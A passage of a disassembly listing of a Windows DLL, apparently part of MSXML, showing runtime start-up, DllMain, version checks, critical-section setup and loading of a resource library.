test esi, esi
jnz loc_69B1BADB
loc_69B1B5F9: ; CODE XREF: sub_69B1BAE5-5j
push edi
push esi
push ebx
call sub_69B1B625
test eax, eax
jz loc_69B24C40
loc_69B1B609: ; CODE XREF: sub_69B1BAE5+915Ej
cmp [ebp+arg_4], 0
jz loc_69B1BB21
mov eax, dword_69B96130
test eax, eax
jz loc_69B1BB21
jmp loc_69B24C48
; END OF FUNCTION CHUNK FOR sub_69B1BAE5
; =============== S U B R O U T I N E =======================================
sub_69B1B625 proc near ; CODE XREF: sub_69B1BAE5-4E9p
; sub_69B1BAE5-1Ap ...
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B24B91 SIZE 0000008E BYTES
mov eax, [esp+arg_4]
xor ecx, ecx
inc ecx
cmp eax, ecx
push esi
push edi
jnz loc_69B1B724
mov edi, ds:GetProcessHeap
push 94h ; dwBytes
push 0 ; dwFlags
call edi ; GetProcessHeap
push eax ; hHeap
call ds:HeapAlloc
mov esi, eax
test esi, esi
jz loc_69B1B762
push esi ; lpVersionInformation
mov dword ptr [esi], 94h
call ds:GetVersionExA ; GetVersionExA
test eax, eax
push esi ; lpMem
push 0 ; dwFlags
jz loc_69B24B91
mov eax, [esi+10h]
mov dword_69B95AFC, eax
mov eax, [esi+4]
mov dword_69B95B08, eax
mov eax, [esi+8]
mov dword_69B95B0C, eax
mov eax, [esi+0Ch]
and eax, 7FFFh
mov dword_69B95B00, eax
call edi ; GetProcessHeap
push eax ; hHeap
call ds:HeapFree
cmp dword_69B95AFC, 2
jnz loc_69B24B9F
loc_69B1B6A9: ; CODE XREF: sub_69B1B625+9581j
mov eax, dword_69B95B08
shl eax, 8
add eax, dword_69B95B0C
push 1
mov dword_69B95B04, eax
call sub_69B1CD1E
test eax, eax
pop ecx
jz loc_69B1B762
call sub_69B1CD73
test eax, eax
jz loc_69B24BAB
call ds:GetCommandLineA ; GetCommandLineA
mov dword_69B9612C, eax
call sub_69B112C0
mov dword_69B95AF8, eax
call sub_69B11383
test eax, eax
jl loc_69B24BB5
call sub_69B1CF24
test eax, eax
jl short loc_69B1B758
call sub_69B1949B
test eax, eax
jl short loc_69B1B758
call sub_69B1E62C
test eax, eax
jnz short loc_69B1B758
inc dword_69B95AF4
loc_69B1B71C: ; CODE XREF: sub_69B1B625+131j
; sub_69B1B625+95D4j ...
xor eax, eax
inc eax
loc_69B1B71F: ; CODE XREF: sub_69B1B625+13Fj
pop edi
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B1B724: ; CODE XREF: sub_69B1B625+Bj
test eax, eax
jnz loc_69B24BBC
cmp dword_69B95AF4, eax
jle short loc_69B1B762
dec dword_69B95AF4
cmp dword_69B95B24, eax
jnz short loc_69B1B747
call sub_69B1BA03
loc_69B1B747: ; CODE XREF: sub_69B1B625+11Bj
call sub_69B1B766
call sub_69B11F44
call sub_69B11F65
jmp short loc_69B1B71C
; ---------------------------------------------------------------------------
loc_69B1B758: ; CODE XREF: sub_69B1B625+DDj
; sub_69B1B625+E6j ...
call sub_69B1B766
jmp loc_69B24BB5
; ---------------------------------------------------------------------------
loc_69B1B762: ; CODE XREF: sub_69B1B625+2Bj
; sub_69B1B625+A1j ...
xor eax, eax
jmp short loc_69B1B71F
sub_69B1B625 endp
; =============== S U B R O U T I N E =======================================
sub_69B1B766 proc near ; CODE XREF: sub_69B1B625:loc_69B1B747p
; sub_69B1B625:loc_69B1B758p
; FUNCTION CHUNK AT 69B11F34 SIZE 00000010 BYTES
push esi
push edi
mov esi, offset dword_69B96020
loc_69B1B76D: ; CODE XREF: sub_69B1B766+16j
mov edi, [esi]
test edi, edi
jnz short loc_69B1B781
loc_69B1B773: ; CODE XREF: sub_69B1B766-9827j
add esi, 4
cmp esi, offset dword_69B96120
jl short loc_69B1B76D
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B1B781: ; CODE XREF: sub_69B1B766+Bj
lea eax, [edi+480h]
loc_69B1B787: ; CODE XREF: sub_69B1B766+39j
cmp edi, eax
jnb loc_69B11F34
cmp dword ptr [edi+8], 0
jnz short loc_69B1B7A1
loc_69B1B795: ; CODE XREF: sub_69B1B766+45j
mov eax, [esi]
add edi, 24h
add eax, 480h
jmp short loc_69B1B787
; ---------------------------------------------------------------------------
loc_69B1B7A1: ; CODE XREF: sub_69B1B766+2Dj
lea eax, [edi+0Ch]
push eax ; lpCriticalSection
call ds:DeleteCriticalSection
jmp short loc_69B1B795
sub_69B1B766 endp
; =============== S U B R O U T I N E =======================================
sub_69B1B7AD proc near ; CODE XREF: DllEntryPoint+31p
push 0Ch
push offset dword_69B1B808
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jz short loc_69B1B7FF
mov eax, [ebp+8]
mov hModule, eax
call sub_69B19A23
test eax, eax
jz short loc_69B1B7EC
mov [ebp-4], esi
call sub_69B1D319
inc esi
push esi
call sub_69B1B814
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B1B7EC: ; CODE XREF: sub_69B1B7AD+2Aj
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B1B7F7: ; CODE XREF: sub_69B1B7AD+54j
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
loc_69B1B7FF: ; CODE XREF: sub_69B1B7AD+19j
; sub_69B22910+10j
xor eax, eax
jmp short loc_69B1B7F7
sub_69B1B7AD endp
; ---------------------------------------------------------------------------
align 8
dword_69B1B808 dd 0FFFFFFFFh dd offset sub_69B22907
dd offset sub_69B22910
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1B814 proc near ; CODE XREF: sub_69B1B7AD+36p
LibFileName = byte ptr -12Ch
var_28 = dword ptr -28h
var_18 = dword ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 69B23CBA SIZE 00000046 BYTES
push ebp
mov ebp, esp
sub esp, 12Ch
mov eax, dword_69B92170
xor eax, [ebp+4]
cmp byte ptr [ebp+arg_0], 0
mov [ebp+var_4], eax
jz loc_69B23CE2
push edi
mov edi, 104h
push edi ; nSize
lea eax, [ebp+LibFileName]
push eax ; lpFilename
push hModule ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
mov [ebp+arg_0], eax
lea eax, [ebp+var_28]
push eax ; int
lea eax, [ebp+LibFileName]
push eax ; puLen
call sub_69B1B938
test al, al
jz loc_69B23CBA
loc_69B1B867: ; CODE XREF: sub_69B1B814+84B0j
cmp [ebp+arg_0], 0
jz short loc_69B1B8E9
lea eax, [ebp+LibFileName]
push 5Ch
push eax
call sub_69B11CAE
cmp dword_69B92954, 2
pop ecx
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
mov eax, offset dword_69B1B92C
jnz loc_69B23CC9
loc_69B1B894: ; CODE XREF: sub_69B1B814+84BAj
push ebx
push esi
lea esi, [ecx+1]
loc_69B1B899: ; CODE XREF: sub_69B1B814+8Aj
mov dl, [ecx]
inc ecx
test dl, dl
jnz short loc_69B1B899
sub ecx, esi
mov esi, ecx
mov ecx, eax
lea edx, [ecx+1]
loc_69B1B8A9: ; CODE XREF: sub_69B1B814+9Aj
mov bl, [ecx]
inc ecx
test bl, bl
jnz short loc_69B1B8A9
sub ecx, edx
mov edx, [ebp+arg_0]
sub ecx, esi
lea ecx, [ecx+edx+1]
cmp ecx, edi
pop esi
pop ebx
jnb short loc_69B1B8E9
mov edx, [ebp+var_8]
inc edx
mov ecx, eax
sub edx, eax
loc_69B1B8C9: ; CODE XREF: sub_69B1B814+BDj
mov al, [ecx]
mov [edx+ecx], al
inc ecx
test al, al
jnz short loc_69B1B8C9
push 0Ah ; dwFlags
push 0 ; hFile
lea eax, [ebp+LibFileName]
push eax ; lpLibFileName
call ds:LoadLibraryExA ; LoadLibraryExA
mov lpSource, eax
loc_69B1B8E9: ; CODE XREF: sub_69B1B814+57j
; sub_69B1B814+ABj
lea eax, [ebp+var_18]
push eax ; int
lea eax, [ebp+LibFileName]
push eax ; puLen
call sub_69B1B938
test al, al
pop edi
jz loc_69B23CD3
mov eax, [ebp+var_18]
cmp eax, [ebp+var_28]
jnz loc_69B23CD3
loc_69B1B90E: ; CODE XREF: sub_69B1B814+84C9j
; sub_69B1B814+84D8j
cmp lpSource, 0
jz loc_69B23CF1
loc_69B1B91B: ; CODE XREF: sub_69B1B814+84E7j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
call sub_69B1B9F6
leave
retn 4
sub_69B1B814 endp
; ---------------------------------------------------------------------------
align 4
dword_69B1B92C dd 6D78736Dh, 2E72326Ch, 6C6C64h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B1B938(LPCSTR puLen, int)
sub_69B1B938 proc near ; CODE XREF: sub_69B1B814+46p
; sub_69B1B814+E0p
Data = byte ptr -214h
tstrFilename = byte ptr -110h
dwHandle = dword ptr -0Ch
lpBuffer = dword ptr -8
var_4 = dword ptr -4
puLen = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 214h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
mov [ebp+var_4], eax
xor ebx, ebx
push ebx ; lpFilePart
lea eax, [ebp+tstrFilename]
push eax ; lpBuffer
mov esi, 104h
push esi ; nBufferLength
push [ebp+puLen] ; lpFileName
call ds:GetFullPathNameA ; GetFullPathNameA
test eax, eax
jbe short loc_69B1B9E1
push edi
lea eax, [ebp+dwHandle]
push eax ; lpdwHandle
lea eax, [ebp+tstrFilename]
push eax ; lptstrFilename
call GetFileVersionInfoSizeA
mov edi, eax
cmp edi, ebx
jbe short loc_69B1B9E0
lea eax, [ebp+Data]
push eax ; lpData
push esi ; dwLen
push ebx ; dwHandle
lea eax, [ebp+tstrFilename]
push eax ; lptstrFilename
call GetFileVersionInfoA
cmp eax, 1
jnz short loc_69B1B9E0
lea eax, [ebp+puLen]
push eax ; puLen
lea eax, [ebp+lpBuffer]
push eax ; lplpBuffer
push offset SubBlock ; "\\"
lea eax, [ebp+Data]
push eax ; pBlock
mov [ebp+puLen], edi
call VerQueryValueA
cmp eax, 1
jnz short loc_69B1B9E0
mov eax, [ebp+lpBuffer]
movzx edx, word ptr [eax+0Ah]
mov ecx, [ebp+arg_4]
mov [ecx], edx
movzx edx, word ptr [eax+8]
mov [ecx+4], edx
movzx edx, word ptr [eax+0Eh]
mov [ecx+8], edx
movzx eax, word ptr [eax+0Ch]
mov [ecx+0Ch], eax
mov bl, 1
loc_69B1B9E0: ; CODE XREF: sub_69B1B938+48j
; sub_69B1B938+62j ...
pop edi
loc_69B1B9E1: ; CODE XREF: sub_69B1B938+31j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop esi
mov al, bl
pop ebx
call sub_69B1B9F6
leave
retn 8
sub_69B1B938 endp
; ---------------------------------------------------------------------------
; char SubBlock[]
SubBlock db '\',0 ; DATA XREF: sub_69B1B938+6Co
; =============== S U B R O U T I N E =======================================
sub_69B1B9F6 proc near ; CODE XREF: sub_69B1B814+10Dp
; sub_69B1B938+B3p ...
cmp ecx, dword_69B92170
jnz sub_69B2C4E2
retn
sub_69B1B9F6 endp
; =============== S U B R O U T I N E =======================================
sub_69B1BA03 proc near ; CODE XREF: sub_69B1B625+11Dp
push 1
push 0
push 0
call sub_69B1BA12
add esp, 0Ch
retn
sub_69B1BA03 endp
; =============== S U B R O U T I N E =======================================
sub_69B1BA12 proc near ; CODE XREF: sub_69B1BA03+6p
; sub_69B84D58+8p
; FUNCTION CHUNK AT 69B24CD2 SIZE 00000041 BYTES
push 8
push offset dword_69B1BA90
call sub_69B19C5C
push 8
call sub_69B113FC
pop ecx
xor edi, edi
mov [ebp-4], edi
xor esi, esi
inc esi
cmp dword_69B95B28, esi
jz short loc_69B1BA75
mov dword_69B95B24, esi
mov al, [ebp+10h]
mov byte_69B95B20, al
cmp [ebp+0Ch], edi
jnz short loc_69B1BA65
cmp dword_69B96124, edi
jnz loc_69B24CD2
loc_69B1BA55: ; CODE XREF: sub_69B1BA12+92D3j
push offset dword_69B92164
mov eax, offset dword_69B92160
call sub_69B1BA9C
pop ecx
loc_69B1BA65: ; CODE XREF: sub_69B1BA12+35j
push offset dword_69B9216C
mov eax, offset dword_69B92168
call sub_69B1BA9C
pop ecx
loc_69B1BA75: ; CODE XREF: sub_69B1BA12+22j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B11F26
cmp [ebp+10h], edi
jz loc_69B24CF3
call sub_69B1853C
retn
sub_69B1BA12 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B1BA90 dd 0FFFFFFFFh, 0 dd offset unk_69B24D09
; =============== S U B R O U T I N E =======================================
sub_69B1BA9C proc near ; CODE XREF: sub_69B1BA12+4Dp
; sub_69B1BA12+5Dp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B24CCB SIZE 00000007 BYTES
push esi
mov esi, eax
loc_69B1BA9F: ; CODE XREF: sub_69B1BA9C+18j
cmp esi, [esp+4+arg_0]
jb short loc_69B1BAA7
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B1BAA7: ; CODE XREF: sub_69B1BA9C+7j
mov eax, [esi]
test eax, eax
jnz loc_69B24CCB
loc_69B1BAB1: ; CODE XREF: sub_69B1BA9C+9231j
add esi, 4
jmp short loc_69B1BA9F
sub_69B1BA9C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BAE5
loc_69B1BAB6: ; CODE XREF: sub_69B1BAE5+11j
cmp esi, 1
jnz short loc_69B1BAD4
loc_69B1BABB: ; CODE XREF: sub_69B1BAE5-Cj
mov eax, dword_69B96130
test eax, eax
jnz loc_69B24C1F
loc_69B1BAC8: ; CODE XREF: sub_69B1BAE5+9141j
push edi
push esi
push ebx
call sub_69B1B625
test eax, eax
jmp short loc_69B1BAFF
; ---------------------------------------------------------------------------
loc_69B1BAD4: ; CODE XREF: sub_69B1BAE5-2Cj
cmp esi, 2
jnz short loc_69B1BB05
jmp short loc_69B1BABB
; ---------------------------------------------------------------------------
loc_69B1BADB: ; CODE XREF: sub_69B1BAE5-4F2j
cmp esi, 3
jnz short loc_69B1BB21
jmp loc_69B1B5F9
; END OF FUNCTION CHUNK FOR sub_69B1BAE5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1BAE5 proc near ; CODE XREF: DllEntryPoint+25p
; DllEntryPoint+64p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 69B1B5F1 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 69B1BAB6 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 69B24C1F SIZE 00000036 BYTES
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, [ebp+arg_4]
test esi, esi
push edi
mov edi, [ebp+arg_8]
jnz short loc_69B1BAB6
cmp dword_69B95AF4, 0
loc_69B1BAFF: ; CODE XREF: sub_69B1BAE5-13j
jz loc_69B24C2C
loc_69B1BB05: ; CODE XREF: sub_69B1BAE5-Ej
push edi
push esi
push ebx
call DllMain
cmp esi, 1
mov [ebp+arg_4], eax
jnz loc_69B1B5F1
test eax, eax
jz loc_69B24C33
loc_69B1BB21: ; CODE XREF: sub_69B1BAE5-4D8j
; sub_69B1BAE5-4CBj ...
mov eax, [ebp+arg_4]
loc_69B1BB24: ; CODE XREF: sub_69B1BAE5+9149j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B1BAE5 endp
; Exported entry 15. DllMain
; =============== S U B R O U T I N E =======================================
public DllMain
DllMain proc near ; CODE XREF: sub_69B1BAE5+23p
; sub_69B2D55F+Ap
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B228C7 SIZE 0000001C BYTES
mov eax, [esp+arg_4]
cmp eax, 1
jz short loc_69B1BB3C
test eax, eax
jnz loc_69B228C7
loc_69B1BB3C: ; CODE XREF: DllMain+7j DllMain+6D9Fj ...
xor eax, eax
inc eax
retn 0Ch
DllMain endp
; =============== S U B R O U T I N E =======================================
sub_69B1BB42 proc near ; CODE XREF: DllGetClassObject+81p
call sub_69B1BB5E
push eax ; Value
mov ecx, offset dword_69B95AB0 ; Target
call sub_69B188DC
mov eax, dword_69B95AB0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
retn
sub_69B1BB42 endp
; =============== S U B R O U T I N E =======================================
sub_69B1BB5E proc near ; CODE XREF: sub_69B19A23+3Ep
; sub_69B1BB42p
; FUNCTION CHUNK AT 69B2349D SIZE 00000003 BYTES
push 28h
call sub_69B1D897
test eax, eax
jz loc_69B2349D
mov ecx, eax
push esi
mov esi, ecx
call sub_69B19B5C
lea eax, [esi+10h]
push eax ; lpCriticalSection
mov dword ptr [esi], offset off_69B1F220
mov dword ptr [esi+4], offset off_69B1BB94
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov eax, esi
pop esi
retn
sub_69B1BB5E endp
; ---------------------------------------------------------------------------
align 4
off_69B1BB94 dd offset loc_69B1BB98 ; DATA XREF: sub_69B1BB5E+23o
; sub_69B1BBB7+Eo
; ---------------------------------------------------------------------------
loc_69B1BB98: ; DATA XREF: .text:off_69B1BB94o
push esi
mov esi, ecx
call sub_69B1BBB7
test byte ptr [esp+8], 1
jz short loc_69B1BBB0
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B1BBB0: ; CODE XREF: .text:69B1BBA5j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B1BBB7 proc near ; CODE XREF: .text:69B1BB9Bp
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax ; lpCriticalSection
mov dword ptr [esi-4], offset off_69B1F220
mov dword ptr [esi], offset off_69B1BB94
call ds:DeleteCriticalSection
mov dword ptr [esi-4], offset off_69B1AEB8
mov dword ptr [esi], offset off_69B1BBE0
pop esi
retn
sub_69B1BBB7 endp
; ---------------------------------------------------------------------------
off_69B1BBE0 dd offset sub_69B2DE5F ; DATA XREF: sub_69B19B6A+17o
; sub_69B1AE5D+51o ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B182B8
loc_69B1BBE4: ; CODE XREF: sub_69B182B8+41j
; sub_69B182B8+49j ...
mov edi, [ebp+arg_4]
mov ebx, [ebp+var_4]
add edi, 0FFFFFFF8h
test ebx, ebx
mov esi, [edi]
jz short loc_69B1BC00
mov eax, esi
sub eax, edx
sub eax, 10h
cdq
idiv ecx
mov [ebx+4Ch], eax
loc_69B1BC00: ; CODE XREF: sub_69B182B8+3939j
mov eax, [edi+4]
and eax, 7FFFFFFFh
cmp eax, 0FFFFFFFh
jz short loc_69B1BC24
push 0
push edi
lea eax, [esi+eax*4+2070h]
push eax
call dword_69B92950 ; InterlockedCompareExchange
test eax, eax
jz short loc_69B1BC65
loc_69B1BC24: ; CODE XREF: sub_69B182B8+3955j
lea ebx, [esi+2034h]
mov ecx, ebx
call sub_69B1808E
test al, al
jz loc_69B23701
inc dword ptr [esi+2060h]
test byte ptr [edi+7], 80h
jnz loc_69B2371D
loc_69B1BC49: ; CODE XREF: sub_69B182B8+B468j
mov esi, [esi]
xor eax, eax
cmp dword_69B92940, eax
push edi ; lpMem
push eax ; dwFlags
push esi ; hHeap
jnz short loc_69B1BC73
call ds:HeapFree
loc_69B1BC5E: ; CODE XREF: sub_69B182B8+39C0j
mov esi, eax
jmp loc_69B18371
; ---------------------------------------------------------------------------
loc_69B1BC65: ; CODE XREF: sub_69B182B8+396Aj
inc dword ptr [esi+2068h]
loc_69B1BC6B: ; CODE XREF: sub_69B182B8+B460j
xor eax, eax
inc eax
jmp loc_69B1837A
; ---------------------------------------------------------------------------
loc_69B1BC73: ; CODE XREF: sub_69B182B8+399Ej
call sub_69B2D4AB
jmp short loc_69B1BC5E
; END OF FUNCTION CHUNK FOR sub_69B182B8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1BC7A proc near ; CODE XREF: sub_69B184B1+55p
; sub_69B184B1+B666p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 69B238F0 SIZE 000000C1 BYTES
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov eax, [ecx+0Ch]
mov edx, [ebp+arg_8]
cmp eax, edx
push ebx
mov ebx, [ecx+8]
push esi
push edi
lea edi, [ecx+0FFh]
mov [ebp+var_4], ebx
mov esi, ebx
mov [ebp+arg_0], edi
jb loc_69B238F0
mov eax, ebx
sub eax, ecx
inc eax
shl eax, 4
add eax, ecx
and dword ptr [eax], 0
mov [ebx], dl
add ebx, edx
cmp ebx, edi
jnb short loc_69B1BCC3
add [ecx+8], edx
sub [ecx+0Ch], edx
loc_69B1BCBE: ; CODE XREF: sub_69B1BC7A+53j
; sub_69B1BC7A+7D14j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B1BCC3: ; CODE XREF: sub_69B1BC7A+3Cj
and dword ptr [ecx+0Ch], 0
lea edx, [ecx+10h]
mov [ecx+8], edx
jmp short loc_69B1BCBE
sub_69B1BC7A endp
; =============== S U B R O U T I N E =======================================
sub_69B1BCCF proc near ; CODE XREF: sub_69B1D617+27p
; sub_69B3C634+5Bp ...
; FUNCTION CHUNK AT 69B24156 SIZE 00000003 BYTES
push 0F0h
call sub_69B17EF3
test eax, eax
jz loc_69B24156
mov ecx, eax
sub_69B1BCCF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B1BCE3 proc near ; CODE XREF: sub_69B21F28+3p
; sub_69B3F90C+1Bp ...
push ebx
push ebp
push esi
push edi
mov esi, ecx
call sub_69B1D6B9
lea edi, [esi+24h]
mov ecx, edi
call sub_69B1818F
lea ebx, [esi+28h]
mov ecx, ebx
call sub_69B1818F
lea ebp, [esi+2Ch]
mov ecx, ebp
call sub_69B1818F
mov dword ptr [edi], offset off_69B12488
mov dword ptr [ebx], offset off_69B12440
mov dword ptr [ebp+0], offset off_69B12400
mov dword ptr [esi], offset off_69B1BF80
mov dword ptr [esi+0Ch], offset off_69B220C0
xor edi, edi
mov [esi+34h], edi
lea ebx, [esi+3Ch]
mov [ebx], edi
mov [esi+44h], edi
mov [esi+48h], edi
mov [esi+4Ch], edi
mov [esi+50h], edi
mov [esi+58h], edi
mov [esi+5Ch], edi
mov [esi+60h], edi
mov [esi+64h], edi
mov [esi+68h], edi
mov [esi+6Ch], edi
lea ebp, [esi+70h]
mov [ebp+0], edi
lea ecx, [esi+7Ch]
mov [esi+74h], edi
call sub_69B11D97
mov [esi+88h], edi
lea eax, [esi+90h]
mov [eax], edi
mov [eax+4], edi
mov [eax+8], edi
mov [eax+0Ch], edi
mov [esi+0A8h], edi
mov [esi+0B4h], edi
mov [esi+0B8h], edi
mov [esi+0BCh], edi
mov [esi+0C0h], edi
mov [esi+0D0h], edi
mov [esi+0D4h], edi
mov [esi+0D8h], edi
mov [esi+0DCh], edi
mov ecx, esi
mov [esi+0E8h], edi
call sub_69B1B42A
push offset Addend ; lpAddend
mov [esi+0E0h], eax
call ds:InterlockedIncrement ; InterlockedIncrement
mov [esi+78h], edi
call sub_69B19E6E
call sub_69B1992C
call sub_69B1B352
push eax
push ebx
call sub_69B17320
mov ebx, [ebx]
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
call sub_69B19AEC
push eax
lea ebx, [esi+0C0h]
push ebx
call sub_69B17320
mov ebx, [ebx]
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
mov [esi+0CCh], edi
push edi
push 1
push 1
push edi
call ds:SHLWAPI_51
push eax ; hEvent
mov [esi+0C4h], eax
call ds:ResetEvent ; ResetEvent
push 1
mov byte ptr [esi+38h], 1
call sub_69B1A6EC
push eax
push ebp
call sub_69B17320
mov ecx, [ebp+0]
call sub_69B11E20
lea eax, [esi+50h]
push eax
mov ecx, esi
call sub_69B1D8A8
mov ecx, esi
call sub_69B1BE5D
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
retn
sub_69B1BCE3 endp
; =============== S U B R O U T I N E =======================================
sub_69B1BE5D proc near ; CODE XREF: sub_69B1BCE3+16Ep
; sub_69B3F250+4Ap
push esi
mov esi, ecx
push dword ptr [esi+50h]
push esi
push 0
push 3
call sub_69B1BE7F
push eax
lea eax, [esi+4Ch]
push eax
call sub_69B17320
mov eax, [esi]
mov ecx, esi
pop esi
jmp dword ptr [eax+14h]
sub_69B1BE5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1BE7F proc near ; CODE XREF: sub_69B1BE5D+Bp
; sub_69B3E5A2+B4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 69B24A7A SIZE 00000022 BYTES
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_8]
cmp dword ptr [esi+0E8h], 0
push [ebp+arg_C]
push 20h
jnz loc_69B24A7A
call sub_69B1DAA0
test eax, eax
jz short loc_69B1BEB4
push esi
push [ebp+arg_4]
mov ecx, eax
push [ebp+arg_0]
call sub_69B1BEB8
loc_69B1BEAF: ; CODE XREF: sub_69B1BE7F+37j
; sub_69B1BE7F+8C18j
pop esi
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_69B1BEB4: ; CODE XREF: sub_69B1BE7F+20j
; sub_69B1BE7F+8C02j
xor eax, eax
jmp short loc_69B1BEAF
sub_69B1BE7F endp
; =============== S U B R O U T I N E =======================================
sub_69B1BEB8 proc near ; CODE XREF: sub_69B15248+11p
; sub_69B1BE7F+2Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B249F2 SIZE 0000007E BYTES
push ebx
push esi
push edi
mov esi, ecx
call sub_69B19118
push [esp+0Ch+arg_8]
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_69B1DCE8
call sub_69B1BF48
mov ebx, [esp+0Ch+arg_0]
mov edi, [esp+0Ch+arg_4]
test edi, edi
mov eax, ds:dword_69B1BEF8[ebx*4]
mov [esi+8], eax
jnz loc_69B249F2
loc_69B1BEEE: ; CODE XREF: sub_69B1BEB8+8B46j
; sub_69B1BEB8+8B58j ...
pop edi
mov eax, esi
pop esi
pop ebx
retn 0Ch
sub_69B1BEB8 endp
; ---------------------------------------------------------------------------
align 4
dword_69B1BEF8 dd 10400h dd 1090400h, 2090400h, 83010000h, 4010400h, 5090400h, 6090400h
dd 7010400h, 8010400h, 9010400h, 0
dd 0B010400h, 3 dup(0)
dd 0F110400h, 0D0050400h, 11010400h, 12010400h, 0
; =============== S U B R O U T I N E =======================================
sub_69B1BF48 proc near ; CODE XREF: sub_69B1BEB8+17p
; sub_69B3CDC8+2Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
test ecx, ecx
mov [esi], ecx
jz short loc_69B1BF5A
mov eax, [ecx]
call dword ptr [eax+14h]
loc_69B1BF5A: ; CODE XREF: sub_69B1BF48+Bj
mov eax, esi
pop esi
retn 4
sub_69B1BF48 endp
; =============== S U B R O U T I N E =======================================
sub_69B1BF60 proc near ; CODE XREF: sub_69B3F48B+3j
; .text:69B3F4C0j ...
; FUNCTION CHUNK AT 69B22E4A SIZE 00000004 BYTES
mov eax, [ecx+4]
cmp eax, 0FFFFFFFFh
jz short loc_69B1BF70
test al, 4
jnz loc_69B22E4A
loc_69B1BF70: ; CODE XREF: sub_69B1BF60+6j
add ecx, 8
push ecx ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
retn
sub_69B1BF60 endp
; ---------------------------------------------------------------------------
align 10h
off_69B1BF80 dd offset sub_69B1BFF8 ; DATA XREF: sub_69B1BCE3+3Co
; sub_69B3F305+Do
dd offset sub_69B1E09D
dd offset sub_69B3F894
dd offset sub_69B3F8F1
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B3D1F0
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B3EF5A
dd offset sub_69B1C12C
dd offset sub_69B3FBE9
dd offset sub_69B3D746
dd offset sub_69B3D7A3
dd offset nullsub_5
dd offset sub_69B3D284
dd offset sub_69B3F58D
dd offset sub_69B3F507
dd offset sub_69B3F50C
dd offset sub_69B3F516
dd offset sub_69B3F790
dd offset sub_69B3E242
dd offset sub_69B3E044
dd offset sub_69B3EF04
dd offset sub_69B3EDFC
dd offset sub_69B3F52D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1BFF8 proc near ; CODE XREF: sub_69B3F471+5j
; .text:69B3F4A8j ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 69B248E8 SIZE 0000000A BYTES
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jz loc_69B248E8
push esi
mov esi, [ebp+arg_0]
push esi
push ebx
lea ecx, [ebp+var_C]
call sub_69B1B406
push [ebp+arg_8]
mov ecx, [esi+4Ch]
push [ebp+arg_4]
push 0
push 0
push 0
push 0
call sub_69B1C04C
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, esi
pop esi
loc_69B1C047: ; CODE XREF: sub_69B1BFF8+88F5j
pop ebx
